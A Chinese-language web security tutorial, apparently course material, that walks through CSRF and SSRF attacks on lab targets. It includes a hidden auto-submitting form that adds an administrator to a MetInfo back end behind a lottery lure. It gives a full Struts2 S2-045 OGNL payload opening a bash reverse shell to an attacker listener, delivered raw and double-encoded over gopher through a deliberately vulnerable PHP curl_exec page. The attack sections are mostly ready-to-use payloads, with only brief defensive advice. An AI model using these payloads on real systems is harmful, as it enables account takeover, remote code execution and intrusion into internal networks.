CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种。 CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。 绝大多数网站是通过Cookie等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过XSS或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
CSRF攻击的目的是滥用基本的Web功能。如果该网站可以使服务器上的状态变化,如改变受害者的电子邮件地址或密码,或购买的东西,强迫受害人检索数据等等。CSRF攻击会修改目标状态。在这一过程中,受害者会代替攻击者执行这些攻击,攻击者中不会收到响应,受害者会代替攻击者执行这些攻击。 在跨站请求伪造(CSRF)攻击中,攻击者经由用户的浏览器注入网络请求来破坏用户与网站的会话的完整性。浏览器的安全策略允许网站将HTTP请求发送到任何网络地址。此策略允许控制浏览器呈现的内容的攻击者使用此用户控制下的其他资源。 可以这么理解 CSRF 攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。 CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账造成的问题包括:个人隐私泄露以及财产安全。 需要对页面参数做修改时,可以使用burpsuit生成csrf poc,从而进行poc测试,测试完成之后一定要验证,浏览器执行了我们生成的poc测试,令数据产生变化。 CSRF和XSS的区别:XSS获取cookie,CSRF伪造跨站请求完成指令。CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
可能存在的位置
对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造;
确认凭证的有效期(这个问题会提高 CSRF 被利用的概率)
在这里,以 lucy/123456 账号为例,进行登录。登录之后,可以看到lucy的个人信息
点击修改个人信息进入修改界面,然后进行抓包
得到下面的GET请求
xxxxxxxxxx11http://d19.s.iproute.cn/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit
修改一下请求,然后使用同一个浏览器提交,就可以触发信息的更改
xxxxxxxxxx11http://d19.s.iproute.cn/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=6666&add=usa&email=lucy%40pikachu.com&submit=submit
可以将这个网址生成二维码,或者生成短网址来诱导管理员访问
网站地址http://d12.s.iproute.cn/
在网站后台管理员管理处添加管理员并且抓包
在提交的时候可以抓包到如下内容
下面是post提交的部分
xxxxxxxxxx161POST /admin/admin/save.php?action=add&lang=cn&anyid=47 HTTP/1.12Host: d12.s.iproute.cn3Content-Length: 12144Cache-Control: max-age=05Upgrade-Insecure-Requests: 16Origin: http://d12.s.iproute.cn7Content-Type: application/x-www-form-urlencoded8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.369Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.910Referer: http://d12.s.iproute.cn/admin/admin/add.php?lang=cn&anyid=4711Accept-Encoding: gzip, deflate12Accept-Language: zh-CN,zh;q=0.913Cookie: upgraderemind=1; appsynchronous=1; PHPSESSID=8k85bi6vlkpus90kml2fcqo473; conav=7; coul=4714Connection: close1516useid=test&pass1=test&pass2=test&name=&sex=0&tel=&mobile=6666&email=111%40test.com&qq=&msn=&taobao=&admin_introduction=&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pop1001=1001&admin_pop1002=1002&admin_pop1003=1003&admin_pop1004=1004&admin_pop1005=1005&admin_pop1006=1006&admin_pop1101=1101&admin_pop1102=1102&admin_pop1103=1103&admin_pop1104=1104&admin_pop1105=1105&admin_pop1106=1106&admin_pop1201=1201&admin_pop1202=1202&admin_pop1203=1203&admin_pop1204=1204&admin_pop1301=1301&admin_pop1302=1302&admin_pop1303=1303&admin_pop1304=1304&admin_pop1305=1305&admin_pop1=1&admin_pop2=2&admin_pop3=3&admin_pop25=25&admin_pop31=31&admin_pop32=32&admin_pop33=33&admin_pop36=36&admin_pop42=42&admin_pop43=43&admin_pop49=49&admin_pop44=44&admin_pop50=50&admin_pop45=45&admin_pop46=46&admin_pop47=47&admin_pop9999=9999&admin_pop1401=1401&admin_pop1402=1402&admin_pop1403=1403&admin_pop1404=1404&admin_pop1405=1405&admin_pop1406=1406&admin_pop1505=1505&admin_pop1502=1502&admin_pop1503=1503&admin_pop1504=1504&admin_pop1501=1501&admin_pop1601=1601&admin_pop1604=1604&admin_pop1602=1602&admin_pop1603=1603&submit=%E4%BF%9D%E5%AD%98
这种的利用方式就会比较麻烦,因为是使用的POST方式提交的,可以考虑构造一个假的网页诱导管理员访问 首先生成html文件,此处可以使用chatgpt帮助我们快速生成input页面
xxxxxxxxxx9312<html lang="en">3
4<head>5 <meta charset="UTF-8">6 <meta http-equiv="X-UA-Compatible" content="IE=edge">7 <meta name="viewport" content="width=device-width, initial-scale=1.0">8 <title>Document</title>9</head>10
11<body>12 <form action="http://d12.s.iproute.cn/admin/admin/save.php?action=add&lang=cn&anyid=47" method="post">13 <input type="text" name="useid" value="test" hidden>14 <input type="password" name="pass1" value="test" hidden>15 <input type="password" name="pass2" value="test" hidden>16 <input type="text" name="name" value="" hidden>17 <input type="radio" name="sex" value="0" hidden>18 <input type="text" name="tel" value="" hidden>19 <input type="text" name="mobile" value="6666" hidden>20 <input type="email" name="email" value="111@test.com" hidden>21 <input type="text" name="qq" value="" hidden>22 <input type="text" name="msn" value="" hidden>23 <input type="text" name="taobao" value="" hidden>24 <textarea name="admin_introduction" hidden></textarea>25 <select name="admin_group" hidden>26 <option value="3"></option>27 </select>28 <input type="checkbox" name="langok" value="metinfo" hidden>29 <input type="checkbox" name="langok_cn" value="cn" hidden>30 <input type="checkbox" name="langok_en" value="en" hidden>31 <input type="checkbox" name="admin_op[]" value="metinfo" checked hidden>32 <input type="checkbox" name="admin_op[]" value="add" hidden>33 <input type="checkbox" name="admin_op[]" value="editor" hidden>34 <input type="checkbox" name="admin_op[]" value="del" hidden>35 <input type="checkbox" name="admin_pop" value="yes" checked hidden>36 <input type="checkbox" name="admin_pop[]" value="1001" checked hidden>37 <input type="checkbox" name="admin_pop[]" value="1002" checked hidden>38 <input type="checkbox" name="admin_pop[]" value="1003" checked hidden>39 <input type="checkbox" name="admin_pop[]" value="1004" checked hidden>40 <input type="checkbox" name="admin_pop[]" value="1005" checked hidden>41 <input type="checkbox" name="admin_pop[]" value="1006" checked hidden>42 <input type="checkbox" name="admin_pop[]" value="1101" checked hidden>43 <input type="checkbox" name="admin_pop[]" value="1102" checked hidden>44 <input type="checkbox" name="admin_pop[]" value="1103" checked hidden>45 <input type="checkbox" name="admin_pop[]" value="1104" checked hidden>46 <input type="checkbox" name="admin_pop[]" value="1105" checked hidden>47 <input type="checkbox" name="admin_pop[]" value="1106" checked hidden>48 <input type="checkbox" name="admin_pop[]" value="1201" checked hidden>49 <input type="checkbox" name="admin_pop[]" value="1202" checked hidden>50 <input type="checkbox" name="admin_pop[]" value="1203" checked hidden>51 <input type="checkbox" name="admin_pop[]" value="1204" checked hidden>52 <input type="checkbox" name="admin_pop[]" value="1301" checked hidden>53 <input type="checkbox" name="admin_pop[]" value="1302" checked hidden>54 <input type="checkbox" name="admin_pop[]" value="1303" checked hidden>55 <input type="checkbox" name="admin_pop[]" value="1304" checked hidden>56 <input type="checkbox" name="admin_pop[]" value="1305" checked hidden>57 <input type="checkbox" name="admin_pop[]" value="1" checked hidden>58 <input type="checkbox" name="admin_pop[]" value="2" checked hidden>59 <input type="checkbox" name="admin_pop[]" value="3" checked hidden>60 <input type="checkbox" name="admin_pop[]" value="25" checked hidden>61 <input type="checkbox" name="admin_pop[]" value="31" checked hidden>62 <input type="checkbox" name="admin_pop[]" value="32" checked hidden>63 <input type="checkbox" name="admin_pop[]" value="33" checked hidden>64 <input type="checkbox" name="admin_pop[]" value="36" checked hidden>65 <input type="checkbox" name="admin_pop[]" value="42" checked hidden>66 <input type="checkbox" name="admin_pop[]" value="43" checked hidden>67 <input type="checkbox" name="admin_pop[]" value="49" checked hidden>68 <input type="checkbox" name="admin_pop[]" value="44" checked hidden>69 <input type="checkbox" name="admin_pop[]" value="50" checked hidden>70 <input type="checkbox" name="admin_pop[]" value="45" checked hidden>71 <input type="checkbox" name="admin_pop[]" value="46" checked hidden>72 <input type="checkbox" name="admin_pop[]" value="47" checked hidden>73 <input type="checkbox" name="admin_pop[]" value="9999" checked hidden>74 <input type="checkbox" name="admin_pop[]" value="1401" checked hidden>75 <input type="checkbox" name="admin_pop[]" value="1402" checked hidden>76 <input type="checkbox" name="admin_pop[]" value="1403" checked hidden>77 <input type="checkbox" name="admin_pop[]" value="1404" checked hidden>78 <input type="checkbox" name="admin_pop[]" value="1405" checked hidden>79 <input type="checkbox" name="admin_pop[]" value="1406" checked hidden>80 <input type="checkbox" name="admin_pop[]" value="1505" checked hidden>81 <input type="checkbox" name="admin_pop[]" value="1502" checked hidden>82 <input type="checkbox" name="admin_pop[]" value="1503" checked hidden>83 <input type="checkbox" name="admin_pop[]" value="1504" checked hidden>84 <input type="checkbox" name="admin_pop[]" value="1501" checked hidden>85 <input type="checkbox" name="admin_pop[]" value="1601" checked hidden>86 <input type="checkbox" name="admin_pop[]" value="1604" checked hidden>87 <input type="checkbox" name="admin_pop[]" value="1602" checked hidden>88 <input type="checkbox" name="admin_pop[]" value="1603" checked hidden>89 <input type="submit" value="点我开始抽奖">90 </form>91</body>92
93</html>使用管理员登陆过的浏览器打开此网页
当误点击了链接之后,就会出现如下界面
管理员被成功添加 当然也可以使用javascript,当管理员访问此页面的时候,自动触发提交请求,这样就可以把诱导的网址做成二维码来让管理员扫码或者是点开不做任何操作都能够触发
xxxxxxxxxx61window.onload = function() {2 document.getElementById("myForm").submit();3};4
5# 在给submit添加了id="myForm"之后,在加上这段js代码,就可以触发自动提交6
CSRF的主要问题是敏感操作的链接容易被伪造。 Token是如何防止CSRF的:每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证,每次刷新界面或者重新开启新的请求就能够刷新Token,这样就能基本上防御住了CSRF
不要再客户端保存敏感信息 退出浏览器或者关闭及时清理会话机制 设置会话超时,比如10分钟内没有操作就自动退出
在一些敏感操作的时候要对身份进行二次认证,比如修改账号时需要校验旧密码 数据提交的时候使用POST不使用GET 使用http头中的referer来限制界面
在登录或其他重要操作的时候使用验证码校验,防止爆破破解
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞,漏洞属于信息泄露的一种。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,因为服务器请求天然的可以穿越防火墙。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。 一般情况下,SSRF的攻击目标大多是网站的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),只要当前服务器有向其他服务器发送请求的地方都可能存在SSRF漏洞。 一句话总结就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务
file_get_contents()函数是PHP中一个用于读取文件内容的函数,它可以从一个文件中读取内容并返回该文件的内容字符串。 以下是file_get_contents()函数的语法:
xxxxxxxxxx11string file_get_contents(string $filename, bool $use_include_path = false,resource $context = null, int $offset = 0, int $maxlen = null)
参数说明:
xxxxxxxxxx61$filename :要读取的文件的名称,可以是本地文件或远程文件的 URL 。2$use_include_path :可选参数,默认为 false 。如果设置为 true ,则会在 include_path 中查找文件。3$context :可选参数,通常不需要使用。可以使用 stream_context_create() 创建的上下文资源来控制4file_get_contents() 的行为。5$offset :可选参数,默认为 0。从文件开始读取的字节数偏移量。6$maxlen :可选参数,默认为 null 。要读取的最大字节数。
示例:
xxxxxxxxxx41// 从本地文件中读取内容2$file_contents = file_get_contents("./demo.txt");3// 从远程文件中读取内容4$url_contents = file_get_contents('http://example.com/');在这个例子中,file_get_contents()函数从名为example.txt的本地文件中读取了内容,并将其保存在$file_contents变量中。它还从名为 http://example.com/ 的远程文件中读取了内容,并将其保存在$url_contents变量中。
利用点:可以从远程文件读取内容,相当于可以对内部的地址发起攻击的访问请求
fsockopen()函数是PHP中一个用于创建网络套接字连接的函数,可以用于连接到远程服务器并与其通信。它允许PHP脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。 以下是fsockopen()函数的语法:
xxxxxxxxxx11resource fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = null)
参数说明:
xxxxxxxxxx61$hostname :要连接的主机名或 IP 地址。2$port :可选参数,默认为 -1 。要连接的端口号。如果未指定端口,则使用默认端口。3$errno :可选参数,默认为 null 。如果连接失败,则返回错误代码。4$errstr :可选参数,默认为 null 。如果连接失败,则返回错误消息。5$timeout :可选参数,默认为 null 。连接超时时间,以秒为单位。如果在指定的时间内无法建立连接,则函6数返回 false 。
示例:
xxxxxxxxxx231<?php2 $socket = fsockopen('www.baidu.com', 80, $errno, $errstr, 30);3 // 与www.baidu.com:80建立连接4 if ($socket) {5 // 连接成功6 $request = "GET / HTTP/1.1\r\n";7 $request .= "Host: www.baidu.com\r\n";8 $request .= "Connection: Close\r\n\r\n";9 // $request此时构造了一个http的请求头,想要请求www.baidu.com的/路径内容10 fwrite($socket, $request);11 // 将构造好的http请求头发送给$socket建立的连接12 while (!feof($socket)) {13 // 当$socket拿到的回复没有取完14 $response .= fgets($socket, 1024);15 // 每次读取1024字节,拼接到$response变量上16 }17 fclose($socket);18 echo $response;19 } else {20 // 连接失败21 echo "Error $errno: $errstr";22 }23?>注意,此时编码是错误的,因为响应头的内容原本是给浏览器去解析的,但是我们直接接收回来,并且将全部的东西全部以字符串的类型赋值给了$response了。
所以下面可以看到响应头部和html内容都显示出来了,而且浏览器默认是GBK的解码,中文是乱码。
在这个例子中,fsockopen()函数连接到example.com的默认HTTP端口(80)。然后,它发送一个HTTP GET请求,并使用fwrite()写入套接字。接下来,使用fgets()读取从服务器返回的响应,直到收到EOF。最后,使用fclose()关闭套接字,并将响应输出到屏幕上。 基于这种原理,可以做出web代理应用
可以看到页面是google但是域名确实代理地址
curl_exec()函数是 PHP 中一个用于执行 cURL 会话的函数,可以用于发送 HTTP 请求并获取响应。它允许 PHP 脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。 以下是curl_exec()函数的语法:
xxxxxxxxxx11mixed curl_exec(resource $curl)参数说明:
xxxxxxxxxx11$curl :cURL 句柄,使用 curl_init() 创建。示例:
xxxxxxxxxx111// 初始化 cURL 句柄2$curl = curl_init();3// 设置 cURL 选项4curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com/');5curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);6// 执行 cURL 会话7$response = curl_exec($curl);8// 关闭 cURL 句柄9curl_close($curl);10// 输出响应11echo $response;在这个例子中,curl_exec()函数使用cURL句柄$curl执行HTTP GET请求,并返回服务器的响应。使用curl_setopt()函数设置cURL选项,例如请求的URL和返回数据的格式。最后,使用curl_close()函数关闭cURL句柄,并将响应输出到屏幕上。
Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它 但是,在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛,利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,并可以构造发送GET,POST请求包。 也就是里哟过Gopher协议可以通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包。
xxxxxxxxxx11gopher://<host>:<port>/<gopher-path>_后面接TCP数据流
利用要点
利用方式 使用Gopher协议发送一个请求,环境为:nc起一个监听,curl发送gopher请求 nc启动监听,监听2333端口:nc -lp 2333 使用curl发送http请求,命令为
xxxxxxxxxx11curl gopher://192.168.173.129:2333/abcd
此时nc收到的消息为:
xxxxxxxxxx31┌──(kali㉿kali)-[~]2└─$ nc -lp 23333bcd
可以发现url中的a没有被nc接受到,如果命令变为
xxxxxxxxxx11curl gopher://192.168.173.129:2333/_abcd
此时nc收到的消息为:
xxxxxxxxxx31┌──(kali㉿kali)-[~]2└─$ nc -lp 23333abcd
所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写) 在gopher协议中发送HTTP的数据,需要以下三步:
准备一个php代码
xxxxxxxxxx31<?php2 echo "<h1>Hello " . $_REQUEST['name'] . "</h1><br>";3?>一个GET型的HTTP包,如下:
xxxxxxxxxx21GET /test.php?name=eagle HTTP/1.12Host: 10.1.0.30:8000
URL编码后为:
xxxxxxxxxx11curl gopher://10.1.0.30:8000/_GET%20/test.php%3fname=eagle%20HTTP/1.1%0d%0aHost:%2010.1.0.30:8000%0d%0A
需要注意
发送请求HTTP POST请求: POST数据包的格式
xxxxxxxxxx41POST /test.php HTTP/1.12Host: 10.1.0.30:800034name=eagle
将上面的POST数据包进行URL编码并改为gopher协议
xxxxxxxxxx11curl gopher://10.1.0.30:8000/_POST%20/test.php%20HTTP/1.1%0d%0aHost:%2010.1.0.30:8000%0d%0a%0d%0aname=eagle%0d%0a
查看报错日志
xxxxxxxxxx312023/05/09 11:09:54 [error] 61#0: *57 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: name in /www/test.php on line 2" while reading response header from upstream, client: 10.3.0.88, server: www.test.com, request: "POST /test.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.0.30:8000"22023/05/09 11:09:54 [crit] 61#0: *57 open() "/www/z_10.1.0.30.log" failed (13: Permission denied) while logging request, client: 10.3.0.88, server: www.test.com, request: "POST /test.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.0.30:8000"32023/05/09 11:09:54 [crit] 61#0: *57 open() "/www/z_www.test.com.log" failed (13: Permission denied) while logging request, client: 10.3.0.88, server: www.test.com, request: "name=eagle"
这里有个疑问:为什么发起了2次请求?为什么会把参数name=eagle当作一个请求?发现问题出现在POST请求头中,考虑哪些参数是POST请求必须的,经过排查,发现有4个参数为必要参数
xxxxxxxxxx61POST /test.php HTTP/1.12Host: 10.1.0.30:80003Content-Type:application/x-www-form-urlencoded4Content-Length:1056name=eagle
进行URL编码:
xxxxxxxxxx11curl gopher://10.1.0.30:8000/_POST%20/test.php%20HTTP/1.1%0d%0aHost:%2010.1.0.30:8000%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:10%0d%0a%0d%0aname=eagle%0d%0a
发现请求正常
反弹shell Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架 (摘自百度百科) 靶场地址 https://github.com/vulhub/vulhub/blob/master/struts2/s2-045/README.zh-cn.md 今天我们用到的漏洞是Struts2-045漏洞,以下为S2-045漏洞反弹shell的利用代码,我们在本地机器上执行:nc -lp 2333
xxxxxxxxxx31GET / HTTP/1.12Host: 192.168.173.88:80803Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.129/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
此处需要如下操作,推荐在线编码小工具:https://iproute.cn/html/encoder/
编码之后
xxxxxxxxxx11curl gopher://192.168.173.88:8080/_GET%20/%20HTTP/1.1%0d%0aHost:192.168.173.88:8080%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%37%33%2e%31%32%39%2f%32%33%33%33%20%30%3e%26%31%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a
一定要注意最后加上%0d%0a,以及很多URL编码工具将会回车换行转码为%0a,一定要自己替换为%0d%0a 发送请求后可以反弹shell
在SSRF中使用gopher协议反弹shell 环境如下 本次使用的是两个容器作为ssrf主机和s2-045漏洞主机
xxxxxxxxxx51[root@localhost ~]# docker run -d -p 80:80 -v /root/lnmp/www:/app/public --name=lnmp registry.cn-hangzhou.aliyuncs.com/eagleslab/service:lnmp562[root@localhost ~]# docker run -d --name struts2 vulhub/struts2:2.3.30 # 这个容器如果无法下载,可以使用靶场里面的struts2,具体操作见下行34# 如果已经使用eagle-sec.sh启动过这个struts2容器了,可以输入这条命令 docker run -d --name struts2 struts25
IP地址说明
| 设备简称 | IP地址 | 说明 |
|---|---|---|
| kali虚拟机 | 192.168.173.129 | 发起gopher攻击和nc监听的kali虚拟机 |
| lnmp主机 | 192.168.173.88 | 存在ssrf漏洞的机器,上面运行着一个lnmp,里面跑着下面提到的php代码 |
| struts2容器 | 172.17.0.2 | struts2容器,因为存在一个get提交命令执行的漏洞,所以被拿过来作为ssrf最终攻击的目标 |
准备一个带有SSRF漏洞的页面,在lnmp主机上执行的代码如下
xxxxxxxxxx81cat << 'EOT' > /root/lnmp/www/index.php2<?php3 $url = $_GET['url'];4 $curlobj = curl_init($url);5 echo curl_exec($curlobj);6 echo $url;7?>8EOT这里需要注意的是,你的PHP版本必须大于等于5.3,并且在PHP.ini文件中开启了extension=php_curl.dll
我在攻击机器上开启了一个监听nc -lp 2333
然后在攻击的kali虚拟机中访问
xxxxxxxxxx11curl http://192.168.173.88/?url=gopher://192.168.173.129:2333/_abc
可以看到nc接收到了消息,没有问题。
xxxxxxxxxx31┌──(kali㉿kali)-[~]2└─$ nc -lp 23333abc
此处我们先梳理一下代码,先创建如下代码的正常容器用于ssrf的测试和原理验证,
xxxxxxxxxx131
2# 由于struts2容器是跑在lnmp主机上的,所以命令在lnmp主机上输入3
4docker run -d -v /root/lnmp/www1:/app/public -p 8080:80 --name=lnmptest registry.cn-hangzhou.aliyuncs.com/eagleslab/service:lnmp565cat << 'EOT' > /root/lnmp/www1/index.php6<?php7 echo "<h1>Hello " . $_REQUEST['name'] . "</h1><br>";8?>9EOT10
11# 查看lnmptest容器的ip地址12
13docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' lnmptest这里使用上面已经用过的gopher协议就可以触发hello eagle了
xxxxxxxxxx11curl gopher://192.168.173.88:8080/_GET%20/%3fname=eagle%20HTTP/1.1%0d%0aHost:%20192.168.173.88:8080%0d%0A
如果使用ssrf来触发,url改成这样,注意,docker容器之间访问是无视映射的,比如docker run -p 8080:80 ...这样的命令,在容器之间访问的之后是不管8080端口的,还是访问的原来的端口号,所以下面改成172.16.0.2:80
xxxxxxxxxx11http://192.168.173.88/?url=gopher://172.17.0.2:80/_GET%20/%3fname=eagle%20HTTP/1.1%0d%0aHost:%20172.17.0.2:80%0d%0A
测试结果如下
发现并没有出现get页面的hello eagle,说明请求失败,发现是因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。
所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。编码结果如下:
xxxxxxxxxx11http://192.168.173.88/?url=gopher%3A%2F%2F172.17.0.2%3A80%2F_GET%2520%2F%253fname%3Deagle%2520HTTP%2F1.1%250d%250aHost%3A%2520172.17.0.2%3A80%250d%250A
此时发起请求,得到如下结果(如果遇访问缓慢,耐心等待):
使用SSRF漏洞配合gopher协议来获取shell 下面利用struts2容器的漏洞(假设172.17.0.2是struts2容器的ip地址),并且打开nc监听
xxxxxxxxxx912# 查看struts2容器IP地址的命令是docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' struts2345# 在payload中还有nc的地址别忘记修改67GET / HTTP/1.18Host: 172.17.0.2:80809Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.129/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
前面添加的内容如下,注意修改IP地址符合你的实验环境
xxxxxxxxxx41http://192.168.173.88/?url=gopher://172.17.0.2:8080/_GET%2520/%2520HTTP/1.1%250D%250AHost:172.17.0.2:8080%250D%250AContent-Type:23# 后面加上上述payload的二次url编码,第一次url编码的时候结尾还要加上%0d%0a,第二次不用4
编码后如下,两次url编码
